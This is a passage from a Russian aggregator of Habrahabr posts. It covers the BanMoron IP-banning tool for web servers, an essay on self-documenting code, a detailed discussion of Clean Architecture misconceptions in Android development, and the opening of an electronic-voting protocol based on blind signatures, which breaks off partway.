При проектировании программы использовался модульный подход, что позволяет легко добавлять в неё как новые правила шаблоны, так и модули противодействия.


Сама программа легковесная, бинарник занимает всего 6 килобайт (наверное, все уже и забыли про такие размеры программ), и требует только одной разделяемой библиотеки libc. Таким образом, при её использовании снижения производительности WEB-сервера не наблюдается по сравнению с HTML-страницей 404.


Для повышения производительности, при сравнении строки REQUEST_URI с шаблонами правил, применён алгоритм Рабина-Карпа, позволяющий сравнить строку с множеством шаблонов за один проход, O(N). Универсальное хеширование делает практически невозможным создание специально подобранной строки REQUEST_URI, снижающей эффективность хеш-функции.


Ниже – ответы на типичные вопросы:


Почему такое название программы – BanMoron?
— Потому что, как видно из названия, основное назначение программы – держать всяких придурков подальше от работающих серверов, чтоб не дай бог ничего не сломали.



А почему вы хакеров называете придурками?
— Потому что эти «хакеры» придурки и есть. Берут готовый скрипт, который кто-то когда-то написал, и даже не удосуживаются его хоть как-то разнообразить, ума на такое уже не хватает. И по структуре запросов видно, что за скрипт используется. Напрашивается прямая аналогия с уличными “активистами”, которые где-то находят арматурину, и потом бьют стёкла на первых этажах. Интеллектуальный уровень обоих занятий примерно одинаков.


И чем ваша программа лучше fail2ban?
— Fail2ban использует другой подход. У него постоянно запущен процесс (демон), который мониторит логи, и по ним находит шаблон активности, после чего и банит соответствующий IP. Для реакции fail2ban должен обнаружить активность, то есть обработать множество запросов. Учитывая, что Apache буферизует запись в лог, и чтение из лога далеко не мгновенно, fail2ban имеет задержку реагирования в несколько секунд. Кроме того, должно пройти несколько событий 404, чтобы fail2ban смог обнаружить активность и среагировать. В настоящее время, разработчики эксплойтов тоже не сидят сложа руки, и уже появляются версии, которые делают множество параллельных запросов к жертве – наверное, как раз для того, чтобы успеть внедрить эксплойт до того, как fail2ban среагирует. Кроме того, fail2ban – скрипт на интерпретируемом языке, то есть постоянно держит в памяти интерпретатор Питона, что тоже не добавляет ему ни скорости, ни экономии ресурсов. BanMoron запускается только в тот момент, когда надо что-то сделать, и не отбирает на себя системных ресурсов постоянно. И банит хакера по первому же его запросу. Оперативность на высоте!


Почему Ваша программа написана на языке С?
— Тому есть ряд причин:

  1. Поднятие приоритета посредством S-бита можно сделать только для бинарной программы. При использовании интерпретатора S-бит игнорируется. А он нужен, чтоб поднять привилегии от www до root для внесения IP в бан-таблицу morons.
  2. Скомпилированная бинарная программа – наиболее легка для запуска, и не тянет за собою запуск интерпретатора, который сам тянет за собою кучу разделяемых библиотек.
  3. Язык C – классический язык во всех OC, и везде точно есть.



Почему правила забиты непосредственно в код программы? Может, их надо бы вынести в конфиг-файл?
— А как потом программе указывать, где брать этот самый конфиг? WEB-сервер не позволяет передать программе конфигурационный параметр “от себя”. Можно конечно прикрутить к делу mod_rewrite, и параметр пробрасывать через QUERY_STRING, или сделать что-нибудь подобное. Но нам такое решение кажется и «развесистым» в плане администрирования, и неэффективным в процессе работы. Это ж надо читать .htaccess, запускать mod_rewrite, править строку, потом программа по этой строке должна открыть файл и его читать… В общем, ситуация напоминает реакцию адмирала из фильма «Горячие Головы»: Разверните авианосец, у меня фуражка за борт улетела, надо подобрать. Нам кажется, не стоит оно того.

А почему в качестве файрвола использован какой-то pf?
— Потому, что программа разрабатывалась на FreeBSD, а там дефолтным файрволом является именно pf, который нас полностью устраивает. Если Вы желаете, чтобы программа работала с iptables или другим Вашим файрволом – напишите соответствующие модули (обработчик, и примеры конфигов), сделайте pull request на Github, и мы примем Ваш вклад в общее дело. Человечество Вам будет благодарно.



Где и на каких условиях я могу получить программу BanMoron?
— Вы можете скачать её из GitHub репозитория Emercoin и использовать совершенно бесплатно, так как эта программа OpenSource и распространяется под лицензией BSD.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335300/


Метки:  

Хороший код — наша лучшая документация

Пятница, 11 Августа 2017 г. 10:46 + в цитатник
Привет Хабр! Предлагаю вашему вниманию свободный перевод статьи «Good code is its own best documentation» от Amit Shekhar.

image

Хороший код, как хорошая шутка — не требует объяснений.

Если ваш код прост и понятен, то по большей части, к нему не нужно комментариев и документации.

Хороший код похож на автомобиль с отличным стерео и подстаканниками, который без проблем разгоняется до предела. Когда он ломается, любой механик может исправить его в короткие сроки, используя обычные инструменты.

Плохой код похож на автомобиль, который обещает быть в состоянии достигнуть 120 км/ч, но имеет стерео, который принимает только кассетные ленты, а подстаканники имеют наклонные днища. Каждый раз, когда вы пытаетесь настроить зеркала, автомобиль взрывается в пламени и должен быть отремонтирован конкретным человеком, который собрал его на сборочной линии, используя свои уникальные инструменты.

Хороший код похож на хорошо написанный учебник


  • Прост и понятен
  • Удобно разбит на главы, каждая из которых посвящена четко определенной теме


Плохой код похож на плохо написанный учебник


  • Все главы ссылаются друг на друга, и непонятно, о чем вообще идет речь
  • Снова и снова рассказывается об одном и том же, причем причин для этого нет
  • Автор упоминает несколько исключений из правил, при этом часто противоречит сам себе
  • Внезапно появляется вампир! Он искрится на солнце


Вот о чем важно не забывать, если хотите написать хороший код:


  • Наглядность — для вас и каждого, кто решит заглянуть в ваш код
  • Возможность поддержки — ваш код должен быть легко модифицируемым
  • Простота — не стоит все беспричинно усложнять
  • Эффективность — ваш код должен работать настолько быстро, насколько это вообще возможно
  • Понятность — если ваш код прост и понятен, в большинстве случаев комментариев не требуется вовсе. Выбирайте такие названия свойств и методов, чтобы сразу было понятно что он делает
  • Низкое соотношение возмущений и удивленных возгласов в минуту — минимизирует частоту, с которой другой разработчик будет читать ваш код и говорить «WTF?!»


Проверка качества кода


Покажите ваш код другому программисту, который его еще не видел, и пусть он попробует объяснить, что выполняет каждый модуль, а вы внимательно слушайте.

Чем больше вам хочется перебить и объяснить по-своему, тем, скорее всего, хуже ваш код.

Если вы можете спокойно и молча слушать, а человек рядом с вами все объясняет и не задает вопросов, возможно, ваш код хорош.

Признаки хорошего кода:


  • Он выглядит умным, но не заумным
  • Вы можете вернуться к написанию кода после выходных, и сразу приступить к работе без переосмысливания написанного
  • Алгоритмы оптимальны по скорости и по удобочитаемости
  • Классы, переменные и функции названы так, что не нужно напрягать мозг, чтобы понять, зачем они нужны
  • Каждый из ваших классов предназначен для одной, ясно выраженной цели, и отделен от других классов
  • Ваши методы короткие – в идеале короче 50 строк, и уж точно не больше 100
  • Методы предназначены для выполнения одной задачи
  • Названия методов однозначно определяют то, что они делают, и вам не нужно смотреть на код внутри этого метода
  • Если нужно вернуться и добавить/модифицировать какую-нибудь функцию, это не должно вызывать затруднений
  • Ваши try/catch блоки малы настолько, насколько это возможно
  • Unit-тесты пишутся легко и без особых усилий


Хороший код является модульным


Допустим, в вашем проекте есть три слоя — внутренний, средний и внешний.

Ваш внутренний слой не должен ничего знать о вашем среднем или внешнем слое. Ваш средний слой не должен ничего знать о вашем внешнем слое.

Таким образом, ваш внутренний кодовый слой может быть протестирован независимо от других.

Подробнее об этом читайте в этой статье (Ссылка переводчика)

“Хороший код — наша лучшая документация” — Steve McConnell
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335400/


Метки:  

Заблуждения Clean Architecture

Пятница, 11 Августа 2017 г. 10:39 + в цитатник

На первый взгляд, Clean Architecture – довольно простой набор рекомендаций к построению приложений. Но и я, и многие мои коллеги, сильные разработчики, осознали эту архитектуру не сразу. А в последнее время в чатах и интернете я вижу всё больше ошибочных представлений, связанных с ней. Этой статьёй я хочу помочь сообществу лучше понять Clean Architecture и избавиться от распространенных заблуждений.


Сразу хочу оговориться, заблуждения – это дело личное. Каждый в праве заблуждаться. И если это его устраивает, то я не хочу мешать. Но всегда хорошо услышать мнения других людей, а зачастую люди не знают даже мнений тех, кто стоял у истоков.


Истоки


В 2011 году Robert C. Martin, также известный как Uncle Bob, опубликовал статью Screaming Architecture, в которой говорится, что архитектура должна «кричать» о самом приложении, а не о том, какие фреймворки в нем используются. Позже вышла статья, в которой Uncle Bob даёт отпор высказывающимся против идей чистой архитектуры. А в 2012 году он опубликовал статью «The Clean Architecture», которая и является основным описанием этого подхода.
Кроме этих статей я также очень рекомендую посмотреть видео выступления Дяди Боба.


Вот оригинальная схема из статьи, которая первой всплывает в голове разработчика, когда речь заходит о Clean Architecture:


Оригинальная схема

В Android-сообществе Clean стала быстро набирать популярность после статьи Architecting Android...The clean way?, написанной Fernando Cejas. Я впервые узнал про Clean Architecture именно из неё. И только потом пошёл искать оригинал. В этой статье Fernando приводит такую схему слоёв:


Схема от Fernando Cejas

То, что на этой схеме другие слои, а в domain слое лежат ещё какие-то Interactors и Boundaries, сбивает с толку. Оригинальная картинка тоже не всем понятна. В статьях многое неоднозначно или слегка абстрактно. А видео не все смотрят (обычно из-за недостаточного знания английского). И вот, из-за недопонимания, люди начинают что-то выдумывать, усложнять, заблуждаться…


Давайте разбираться!


Сlean Architecture


Clean Architecture объединила в себе идеи нескольких других архитектурных подходов, которые сходятся в том, что архитектура должна:


  • быть тестируемой;
  • не зависеть от UI;
  • не зависеть от БД, внешних фреймворков и библиотек.

Это достигается разделением на слои и следованием Dependency Rule (правилу зависимостей).


Dependency Rule


Dependency Rule говорит нам, что внутренние слои не должны зависеть от внешних. То есть наша бизнес-логика и логика приложения не должны зависеть от презентеров, UI, баз данных и т.п. На оригинальной схеме это правило изображено стрелками, указывающими внутрь.


В статье сказано: имена сущностей (классов, функций, переменных, чего угодно), объявленных во внешних слоях, не должны встречаться в коде внутренних слоев.


Это правило позволяет строить системы, которые будет проще поддерживать, потому что изменения во внешних слоях не затронут внутренние слои.


Слои


Uncle Bob выделяет 4 слоя:


  • Entities. Бизнес-логика общая для многих приложений.
  • Use Cases (Interactors). Логика приложения.
  • Interface Adapters. Адаптеры между Use Cases и внешним миром. Сюда попадают Presenter’ы из MVP, а также Gateways (более популярное название репозитории).
  • Frameworks. Самый внешний слой, тут лежит все остальное: UI, база данных, http-клиент, и т.п.

Подробнее, что из себя представляют эти слои, мы рассмотрим по ходу статьи. А пока остановимся на передаче данных между ними.


Переходы


Переходы между слоями осуществляются через Boundaries, то есть через два интерфейса: один для запроса и один для ответа. Их можно увидеть справа на оригинальной схеме (Input/OutputPort). Они нужны, чтобы внутренний слой не зависел от внешнего (следуя Dependency Rule), но при этом мог передать ему данные.


Поток данных на оригинальной схеме

Оба интерфейса относятся к внутреннему слою (обратите внимание на их цвет на картинке).


Смотрите, Controller вызывает метод у InputPort, его реализует UseCase, а затем UseCase отдает ответ интерфейсу OutputPort, который реализует Presenter. То есть данные пересекли границу между слоями, но при этом все зависимости указывают внутрь на слой UseCase’ов.


Чтобы зависимость была направлена в сторону обратную потоку данных, применяется принцип инверсии зависимостей (буква D из аббревиатуры SOLID). То есть, вместо того чтобы UseCase напрямую зависел от Presenter’a (что нарушало бы Dependency Rule), он зависит от интерфейса в своём слое, а Presenter должен этот интерфейс реализовать.


Точно та же схема работает и в других местах, например, при обращении UseCase к Gateway/Repository. Чтобы не зависеть от репозитория, выделяется интерфейс и кладется в слой UseCases.


Что же касается данных, которые пересекают границы, то это должны быть простые структуры. Они могут передаваться как DTO или быть завернуты в HashMap, или просто быть аргументами при вызове метода. Но они обязательно должны быть в форме более удобной для внутреннего слоя (лежать во внутреннем слое).


Особенности мобильных приложений


Надо отметить, что Clean Architecture была придумана с немного иным типом приложений на уме. Большие серверные приложения для крупного бизнеса, а не мобильные клиент-серверные приложения средней сложности, которые не нуждаются в дальнейшем развитии (конечно, бывают разные приложения, но согласитесь, в большей массе они именно такие). Непонимание этого может привести к overengineering’у.


На оригинальной схеме есть слово Controllers. Оно появилось на схеме из-за frontend’a, в частности из Ruby On Rails. Там зачастую разделяют Controller, который обрабатывает запрос и отдает результат, и Presenter, который выводит этот результат на View.
Многие не сразу догадываются, но в android-приложениях Controllers не нужны.


Ещё в статье Uncle Bob говорит, что слоёв не обязательно должно быть 4. Может быть любое количество, но Dependency Rule должен всегда применяться.


Глядя на схему из статьи Fernando Cejas, можно подумать, что автор воспользовался как раз этой возможностью и уменьшил количество слоев до трёх. Но это не так. Если разобраться, то в Domain Layer у него находятся как Interactors (это другое название UseCase’ов), так и Entities.


Все мы благодарны Fernando за его статьи, которые дали хороший толчок развитию Clean в Android-сообществе, но его схема также породила и заблуждение.


Заблуждение: Слои и линейность


Сравнивая оригинальную схему от Uncle Bob’a и cхему Fernando Cejas’a многие начинают путаться. Линейная схема воспринимается проще, и люди начинают неверно понимать оригинальную. А не понимая оригинальную, начинают неверно толковать и линейную. Кто-то думает, что расположение надписей в кругах имеет сакральное значение, или что надо использовать Controller, или пытаются соотнести названия слоёв на двух схемах. Смешно и грустно, но основные схемы стали основными источниками заблуждения!


Постараемся это исправить.
Для начала давайте очистим основную схему, убрав из нее лишнее для нас. И переименуем Gateways в Repositories, т.к. это более распространенное название этой сущности.


Упрощенная оригинальная схема

Стало немного понятнее.
Теперь мы сделаем вот что: разрежем слои на части и превратим эту схему в блочную, где цвет будет по-прежнему обозначать принадлежность к слою.


Превращаем круги в блоки

Как я уже сказал выше, цвета обозначают слои. А стрелка внизу обозначает Dependency Rule.


На получившейся схеме уже проще представить себе течение данных от UI к БД или серверу и обратно. Но давайте сделаем еще один шаг к линейности, расположив слои по категориям:


Слои по категориям

Я намеренно не называю это разделение слоями, в отличие от Fernando Cejas. Потому что мы и так делим слои. Я называю это категориями или частями. Можно назвать как угодно, но повторно использовать слово «слои» не стоит.


А теперь давайте сравним то, что получилось, со схемой Fernando.


Сравнение со схемой Fernando Cejas

Надеюсь теперь вcё начало вставать на свои места. Выше я говорил, что, по моему мнению, у Fernando всё же 4 слоя. Думаю теперь это тоже стало понятнее. В Domain части у нас находятся и UseCases и Entities.


Такая схема воспринимается проще. Ведь обычно события и данные в наших приложениях ходят от UI к backend’у или базе данных и обратно. Давайте изобразим этот процесс:


Поток данных от UI и обратно

Красными стрелками показано течение данных.
Событие пользователя идет в Presenter, тот передает в Use Case. Use Case делает запрос в Repository. Repository получает данные где-то, создает Entity, передает его в UseCase. Так Use Case получает все нужные ему Entity. Затем, применив их и свою логику, получает результат, который передает обратно в Presenter. А тот, в свою очередь, отображает результат в UI.


На переходах между слоями (не категориями, а слоями, отмеченными разным цветом) используются Boundaries, описанные ранее.


Теперь, когда мы поняли, как соотносятся две схемы, давайте рассмотрим следующее заблуждение.


Заблуждение: Слои, а не сущности


Как понятно из заголовка, кто-то думает, что на схемах изображены сущности (особенно это затрагивает UseCases и Entities). Но это не так.


На схемах изображены слои, в них может находиться много сущностей. В них будут находиться интерфейсы для переходов между слоями (Boundaries), различные DTO, основные классы слоя (Interactors для слоя UseCases, например).


Не будет лишним взглянуть на схему, собранную из частей, показанных в видео выступления Uncle Bob’a. На ней изображены классы и зависимости:


Схема классов из выступления Uncle Bob

Видите двойные линии? Это границы между слоями. Разделение между слоями Entities и UseCases не показаны, так как в видео основной упор делался на том, что вся логика (приложения и бизнеса) отгорожена от внешнего мира.


C Boundaries мы уже знакомы, интерфейс Gateway – это то же самое. Request/ResponseModel – просто DTO для передачи данных между слоями. По правилу зависимости они должны лежать во внутреннем слое, что мы и видим на картинке.


Про Controller мы тоже уже говорили, он нас не интересует. Его функцию у нас выполняет Presenter.


А ViewModel на картинке – это не ViewModel из MVVM и не ViewModel из Architecture Components. Это просто DTO для передачи данных View, чтобы View была тупой и просто сетила свои поля. Но это уже детали реализации и будет зависеть от выбора презентационного паттерна и личных подходов.


В слое UseCases находятся не только Interactor’ы, но также и Boundaries для работы с презентером, интерфейс для работы с репозиторием, DTO для запроса и ответа. Отсюда можно сделать вывод, что на оригинальной схеме отражены всё же слои.


Заблуждение: Entities


Entities по праву занимают первое место по непониманию.
Мало того, что почти никто (включая меня до недавнего времени) не осознает, что же это такое на самом деле, так их ещё и путают с DTO.


Однажды в чате у меня возник спор, в котором мой оппонент доказывал мне, что Entity – это объекты, полученные после парсинга JSON в data-слое, а DTO – объекты, которыми оперируют Interactor’ы…

Постараемся хорошо разобраться, чтобы таких заблуждений больше не было ни у кого.


Что же такое Entities?


Чаще всего они воспринимаются как POJO-классы, с которыми работают Interactor’ы. Но это не так. По крайней мере не совсем.


В статье Uncle Bob говорит, что Entities инкапсулируют логику бизнеса, то есть всё то, что не зависит от конкретного приложения, а будет общим для многих.
Но если у вас отдельное приложение и оно не заточено под какой-то существующий бизнес, то Entities будут являться бизнес-объектами приложения, содержащими самые общие и высокоуровневые правила.


Я думаю, что именно фраза: «Entities это бизнес объекты», – запутывает больше всего. Кроме того, на приведенной выше схеме из видео Interactor получает Entity из Gateway. Это также подкрепляет ощущение, что это просто POJO объекты.


Но в статье также говорится, что Entity может быть объектом с методами или набором структур и функций.
То есть упор делается на то, что важны методы, а не данные.


Это также подтверждается в разъяснении от Uncle Bob’а, которое я нашел недавно:
Uncle Bob говорит, что для него Entities содержат бизнес-правила, независимые от приложения. И они не просто объекты с данными. Entities могут содержать ссылки на объекты с данными, но основное их назначение в том, чтобы реализовать методы бизнес-логики, которые могут использоваться в различных приложениях.


А по-поводу того, что Gateways возвращают Entities на картинке, он поясняет следующее:
Реализация Gаteway получает данные из БД, и использует их, чтобы создать структуры данных, которые будут переданы в Entities, которые Gateway вернет. Реализовано это может быть композицией


class MyEntity { private MyDataStructure data;}

или наследованием


class MyEntity extends MyDataStructure {...} 

И в конце ответа фраза, которая меня очень порадовала:


And remember, we are all pirates by nature; and the rules I'm talking about here are really more like guidelines…
(И запомните: мы все пираты по натуре, и правила, о которых я говорю тут, на самом деле, скорее рекомендации…)

Действительно, не надо слишком буквально всё воспринимать, надо искать компромиссы и не делать лишнего. Все-таки любая архитектура призвана помогать, а не мешать.


Итак, слой Entities содержит:


  • Entities – функции или объекты с методами, которые реализуют логику бизнеса, общую для многих приложений (а если бизнеса нет, то самую высокоуровневую логику приложения);
  • DTO, необходимые для работы и перехода между слоями.

Кроме того, когда приложение отдельное, то надо стараться находить и выделять в Entities высокоуровневую логику из слоя UseCases, где зачастую она оседает по ошибке.


Заблуждение: UseCase и/или Interactor


Многие путаются в понятиях UseCase и Interactor. Я слышал фразы типа: «Канонического определения Interactor нет». Или вопросы типа: «Мне делать это в Interactor’e или вынести в UseCase?».


Косвенное определение Interactor’a встречается в статье, которую я уже упоминал в самом начале. Оно звучит так:
«...interactor object that implements the use case by invoking business objects.»
Таким образом:
Interactor – объект, который реализует use case (сценарий использования), используя бизнес-объекты (Entities).


Что же такое Use Case или сценарий использования?
Uncle Bob в видео выступлении говорит о книге «Object-Oriented Software Engineering: A Use Case Driven Approach», которую написал Ivar Jacobson в 1992 году, и о том, как тот описывает Use Case.


Use case – это детализация, описание действия, которое может совершить пользователь системы.


Вот пример, который приводится в видео:


Пример Use Case для создания заказа

Это Use Case для создания заказа, причём выполняемый клерком.


Сперва перечислены входные данные, но не даётся никаких уточнений, что они из себя представляют. Тут это не важно.


Первый пункт – даже не часть Use Case’a, это его старт – клерк запускает команду для создания заказа с нужными данными.
Далее шаги:


  • Система валидирует данные. Не оговаривается как.
  • Система создает заказ и id заказа. Подразумевается использование БД, но это не важно пока, не уточняется. Как-то создает и всё.
  • Система доставляет id заказа клерку. Не уточняется как.
    Легко представить, что id возвращается не клерку, а, например, выводится на страницу сайта. То есть Use Case никак не зависит от деталей реализации.

Ivar Jacobson предложил реализовать этот Use Case в объекте, который назвал ControlObject.
Но Uncle Bob решил, что это плохая идея, так как путается с Controller из MVC и стал называть такой объект Interactor. И он говорит, что мог бы назвать его UseCase.
Это можно посмотреть примерно в этом моменте видео.


Там же он говорит, что Interactor реализует use case и имеет метод для запуска execute() и получается, что это паттерн Команда. Интересно.


Вернемся к нашим заблуждениям.


Когда кто-то говорит, что у Interactor’a нет четкого определения – он не прав. Определение есть и оно вполне четкое. Выше я привел несколько источников.


Многим нравится объединять Interactor’ы в один общий с набором методов, реализующих use case’ы.
Если вам сильно не нравятся отдельные классы, можете так делать, это ваше решение. Я лично за отдельные Interactor’ы, так как это даёт больше гибкости.


А вот давать определение: «Интерактор – это набор UseCase’ов», – вот это уже плохо. А такое определение бытует.
Оно ошибочно с точки зрения оригинального толкования термина и вводит начинающих в большие заблуждения, когда в коде получается одновременно есть и UseCase классы и Interactor классы, хотя всё это одно и то же.


Я призываю не вводить друг друга в заблуждения и использовать названия Interactor и UseCase, не меняя их изначальный смысл: Interactor/UseCase – объект, реализующий use case (сценарий использования).


За примером того, чем плохо, когда одно название толкуется по-разному, далеко ходить не надо, такой пример рядом – паттерн Repository.


Доступ к данным


Для доступа к данным удобно использовать какой-либо паттерн, позволяющий скрыть процесс их получения. Uncle Bob в своей схеме использует Gateway, но сейчас куда сильнее распространен Repository.


Repository


А что из себя представляет паттерн Repository?
Вот тут и возникает проблема, потому что оригинальное определение и то, как мы понимаем репозиторий сейчас (и как его описывает Fernando Cejas в своей статье), фундаментально различаются.


В оригинале Repository инкапсулирует набор сохраненных объектов в более объектно-ориентированном виде. В нем собран код, создающий запросы, который помогает минимизировать дублирование запросов.


Но в Android-сообществе куда более распространено определение Repository как объекта, предоставляющего доступ к данным с возможностью выбора источника данных в зависимости от условий.


Подробнее об этом можно прочесть в статье Hannes Dorfmann’а.


Gateway


Сначала я тоже начал использовать Repository, но воспринимая слово «репозиторий» в значении хранилища, мне не нравилось наличие там методов для работы с сервером типа login() (да, работа с сервером тоже идет через Repository, ведь в конце концов для приложения сервер – это та же база данных, только расположенная удаленно).


Я начал искать альтернативное название и узнал, что многие используют Gateway – слово более подходящее, на мой вкус. А сам паттерн Gateway по сути представляет собой разновидность фасада, где мы прячем сложное API за простыми методами. Он в оригинале тоже не предусматривает выбор источников данных, но все же ближе к тому, как используем мы.


А в обсуждениях все равно приходится использовать слово «репозиторий», всем так проще.


Доступ к Repository/Gateway только через Interactor?


Многие настаивают, что это единственный правильный способ. И они правы!
В идеале использовать Repository нужно только через Interactor.


Но я не вижу ничего страшного, чтобы в простых случаях, когда не нужно никакой логики обработки данных, вызывать Repository из Presenter’a, минуя Interactor.
Repository и презентер находятся на одном слое, Dependency Rule не запрещает нам использовать Repository напрямую. Единственное но – возможное добавления логики в Interactor в будущем. Но добавить Interactor, когда понадобится, не сложно, а иметь множество proxy-interactor’ов, просто прокидывающих вызов в репозиторий, не всегда хочется.


Повторюсь, я считаю, что в идеале надо делать запросы через Interactor, но также считаю, что в небольших проектах, где вероятность добавления логики в Interactor ничтожно мала, можно этим правилом поступиться. В качестве компромисса с собой.


Заблуждение: Обязательность маппинга между слоями


Некоторые утверждают, что маппить данные обязательно между всеми слоями. Но это может породить большое количество дублирующихся представлений одних и тех же данных.


А можно использовать DTO из слоя Entities везде во внешних слоях. Конечно, если те могут его использовать. Нарушения Dependency Rule тут нет.


Какое решение выбрать – сильно зависит от предпочтений и от проекта. В каждом варианте есть свои плюсы и минусы.


Маппинг DTO на каждом слое:
+Изменение данных в одном слое не затрагивает другой слой;
+Аннотации нужные для какой-то библиотеки не попадут в другие слои;
-Может быть много дублирования;
-При изменении данных все равно приходится менять маппер.


Использование DTO из слоя Enitities:
+Нет дублирования кода;
+Меньше работы;
-Присутствие аннотаций нужных для внешних библиотек на внутреннем слое;
-При изменении этого DTO, возможно придется менять код в других слоях.


Хорошее рассуждение есть вот по этой ссылке.


С выводами автора ответа я полностью согласен:
Если у вас сложное приложение с логикой бизнеса и логикой приложения, и/или разные люди работают над разными слоями, то лучше разделять данные между слоями (и маппить их). Также это стоит делать, если серверное API корявое.
Но если вы работаете над проектом один, и это простое приложение, то
не усложняйте лишним маппингом.


Заблуждение: маппинг в Interactor’e


Да, такое заблуждение существует. Развеять его несложно, приведя фразу из оригинальной cтатьи:
So when we pass data across a boundary, it is always in the form that is most convenient for the inner circle.
(Когда мы передаем данные между слоями, они всегда в форме более удобной для внутреннего слоя)


Поэтому в Interactor данные должны попадать уже в нужном ему виде.
Маппинг происходит в слое Interface Adapters, то есть в Presenter и Repository.


А где раскладывать объекты?


С сервера нам приходят данные в разном виде. И иногда API навязывает нам странные вещи. Например, в ответ на login() может прийти объект Profile и объект OrderState. И, конечно же, мы хотим сохранить эти объекты в разных Repository.


Так где же нам разобрать LoginResponse и разложить Profile и OrderState по нужным репозиториям, в Interactor’e или в Repository?


Многие делают это в Interactor’e. Так проще, т.к. не надо иметь зависимости между репозиториями и разрывать иногда возникающую кроссылочность.


Но я делаю это в Repository. По двум причинам:


  • Если мы делаем это в Interactor’e, значит мы должны передать ему LoginResponse в каком-то виде. Но тогда, чтобы не нарушать Dependency Rule, LoginResponse должен находиться в слое Interactor’a (UseCases) или Entities. А ему там не место, ведь он им кроме как для раскладывания ни для чего больше не нужен.
  • Раскладывание данных – не дело для use case. Мы же не станем писать пункт в описании действия доступного пользователю: «Получить данные, разложить данные». Скорее мы напишем просто: «Получить нужные данные»,– и всё.

Если вам удобно делать это в Interactor, то делайте, но считайте это компромиссом.


Можно ли объединить Interactor и Repository?


Некоторым нравится объединять Interactor и Repository. В основном это вызвано желанием избежать решения проблемы, описанной в пункте «Доступ к Repository/Gateway только через Interactor?».


Но в оригинале Clean Architecture эти сущности не смешиваются.
И на это пара веских причин:


  • Они на разных слоях.
  • Они выполняют различные функции.

А вообще, как показывает практика, в этом ничего страшного нет. Пробуйте и смотрите, особенно если у вас небольшой проект. Хотя я рекомендую разделять эти сущности.


RxJava в Clean Architecture


Уже становится сложным представить современное Android-приложение без RxJava. Поэтому не удивительно, что вторая в серии статья Fernando Cejas была про то, как он добавил RxJava в Clean Architecture.


Я не стану пересказывать статью, но хочу отметить, что, наверное, главным плюсом является возможность избавиться от интерфейсов Boundaries (как способа обеспечить выполнение Dependency Rule) в пользу общих Observable и Subscriber.


Правда есть люди, которых смущает присутствие RxJava во всех слоях, и даже в самых внутренних. Ведь это сторонняя библиотека, а убрать зависимость на всё внешнее – один из основных посылов Clean Architecture.


Но можно сказать, что RxJava негласно уже стала частью языка. Да и в Java 9 уже добавили util.concurrent.Flow, реализацию спецификации Reactive Streams, которую реализует также и RxJava2. Так что не стоит нервничать из-за RxJava, пора принять ее как часть языка и наслаждаться.


Заблуждение: Что лучше Clean Architecture или MVP?


Смешно, да? А некоторые спрашивают такое в чатах.
Быстро поясню:


  • Архитектура затрагивает всё ваше приложение. И Clean – не исключение.
  • А презентационные паттерны, например MVP, затрагивают лишь часть, отвечающую за отображение и взаимодействие с UI. Чтобы лучше понять эти паттерны, я рекомендую почитать [статью моего коллеги][25] dmdev.

Заблуждение: Clean Architecture в первых проектах


В последнее время архитектура приложений на слуху. Даже Google решили выпустить свои Architecture Components.


Но этот хайп заставляет молодых разработчиков пытаться затянуть какую-нибудь архитектуру в первые же свои приложения. А это чаще всего плохая идея. Так как на раннем этапе куда полезнее вникнуть в другие вещи.


Конечно, если вам все понятно и есть на это время – то супер. Но если сложно, то не надо себя мучить, делайте проще, набирайтесь опыта. А применять архитектуру начнете позже, само придет.


Лучше красивый, хорошо работающий код, чем архитектурное спагетти с соусом из недопонимания.


Фффух!


Статья получилась немаленькой. Надеюсь она будет многим полезна и поможет лучше разобраться в теме. Используйте Clean Architecture, следуйте правилам, но не забывайте, что «все мы пираты по натуре»!

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335382/


[Из песочницы] Протокол электронного голосования: мой вариант

Пятница, 11 Августа 2017 г. 10:37 + в цитатник
Наблюдение за выборами в различных странах, осложнёнными различными скандалами вокруг подтасовок, каждый раз заставляет задуматься: почему столь важное событие, легитимность которого столь необходимо защитить, использует механизмы защиты многовековой давности? Особенно это странно, учитывая то, что схему для голосования, пусть и далеко не идеальную, но значительно лучшую, чем текущая, может придумать даже человек, разбирающийся в криптографии на начальном уровне. Так уж совпало, что я отношу себя именно к таким людям, поэтому я подумал: почему бы не попробовать?

На хабре уже публиковался ряд статей о электронных выборах (раз, два, три), однако я не нашёл проработанного и отвечающего основным требованиям протокола. Так что встречайте: мой вариант протокола электронного голосования.

Дисклеймер
Автор не является профессионалом в криптографии и математике, поэтому указанная схема не претендует на безошибочность или глубокую проработанность.
Схема получилась довольно несложной, так что весьма вероятно, что я изобрёл велосипед.

Требования к системе


Что же мы хотим получить на выходе? Я сформулировал следующие требования:

  1. Возможность независимого контроля;
  2. Стойкость к подтасовкам, со стороны избиркома, избирателей и третьих лиц
  3. Невозможность узнать, как проголосовал конкретный избиратель

Tl;dr: краткое описание протокола


  1. Избиратель регистрируется в избиркоме, предоставляя свои личные данные, маскированные ключ голосования и ключ проверки. Избирком подписывает маскированный ключ голосования;
  2. Избиратель демаскирует его и получает подписанный ключ голосования, создаёт на его основе анонимный голос и публикует его;
  3. Каждому голосу подбирается проверяющий из числа избирателей. Владелец голоса отсылает свои личные данные проверяющему с помощью его публичного ключа. Проверяющий проверяет, что голос соответствует реальному человеку.

Подробное описание протокола


В протоколе я использовал всего 2 криптографических примитива: ассиметричное шифрование и алгоритм слепой подписи. Естественно, операции шифрования и маскировки должны быть коммутативны друг относительно друга.

Примечание: операция хеширования при подписывании, если она требуется, будет опускаться.

Список обозначений
$e$ — ключ шифрования;
$d$ – ключ дешифрования;
$m$ – маскирующий множитель;
$E_k$ – шифрование ключом k;
$D_k$ – дешифрование ключом k;
$M_m$ – маскировка множителем m;
$N_m$ – демаскировка множителем m;

$i$ – информация о человеке;
$c$ – выбор;
$K$ – контракт;
$V$ – голос;
$I$ – информация для проверки

0. Исходные данные


Избиратель:


$e_{личный}$ — ключ шифрования (закрытый) личной ЭЦП избирателя;
$e_{голосования}$, $d_{голосования}$ — ключи шифрования и дешифрования. Создаются избирателем для конкретного голосования;
$m$ — маскирующий множитель. Создаётся избирателем для конкретного голосования;
$e_{проверочный}$, $d_{проверочный}$ — пара ключей для этапа проверки. Создаётся избирателем для конкретного голосования.

Публичный репозиторий личных данных:


Для каждого гражданина хранится следующая информация:
$i$информация об избирателе: ФИО, год рождения, адрес прописка и т. д.;$d_{личный}$ — публичный ключ личной ЭЦП;
